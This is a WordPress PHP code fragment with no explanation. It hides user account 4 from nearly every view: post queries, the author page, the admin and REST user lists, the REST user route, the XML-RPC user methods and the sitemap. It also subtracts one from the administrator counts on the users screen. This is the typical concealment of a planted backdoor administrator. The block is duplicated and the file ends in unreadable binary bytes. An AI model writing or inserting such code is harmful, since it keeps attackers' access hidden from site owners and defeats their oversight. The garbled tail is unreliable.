add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
rȲ \iV QK7;)jԚv@$!({oLشM[,vnetͬdBɸG@2YSY%pu~bm 5n&9bՇOod da pۜ!"<[%qdS>.jiʂMKĈܹ `-ݶ4@I[j)9ߝwt!*[͜ܩ5%H>V-U҂fMҔ@|7?rGMLR8xKmݫV
WsP]2 @ӄ"T[{ݐfT04zULm]mCk~Cvhj3
"(]1߇z@ ΐܑiH*ܑJXSl;QGGӑ/m:nXzԬWz\Пאt
ͅM%~
VkyB:r,yK125ɐ]n%WFQ/+D% X{*:dȐGt^IYe%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